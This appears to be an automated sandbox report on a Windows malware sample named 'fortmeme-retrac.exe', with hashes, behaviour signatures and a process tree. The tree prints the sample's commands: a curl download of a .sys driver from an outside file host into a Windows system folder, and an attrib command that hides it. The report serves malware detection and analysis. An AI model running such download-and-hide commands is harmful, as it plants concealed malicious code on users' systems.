Analysis

  • user interaction
    yes
  • max time kernel
    148s
  • max time network
    131s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 15:06

General

  • Target
    fortmeme-retrac.exe
  • Size 1.4MB
  • Sample260802-sg67psck2v
  • SHA256 2d41f3c81c58412c20ddb255408bf13b77dc5539f21e8fbe219837d4bb835811
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortmeme-retrac.exe
    "C:\Users\Admin\AppData\Local\Temp\fortmeme-retrac.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: RenamesItself
    • Suspicious use of WriteProcessMemory
    PID:5724
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:3036
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:7088
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\basebrd.sys >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2700
      • C:\Windows\system32\curl.exe
        curl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\basebrd.sys
        3⤵
          PID:2084
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s C:\Windows\Branding\Basebrd\basebrd.sys >nul 2>&1
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\Windows\Branding\Basebrd\basebrd.sys
          3⤵
          • Views/modifies file attributes
          PID:5952
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        2⤵
        • Executes a command shell one-liner
        PID:2336
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:5828

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            memory/5724-2-0x00007FF7B50D0000-0x00007FF7B523C000-memory.dmp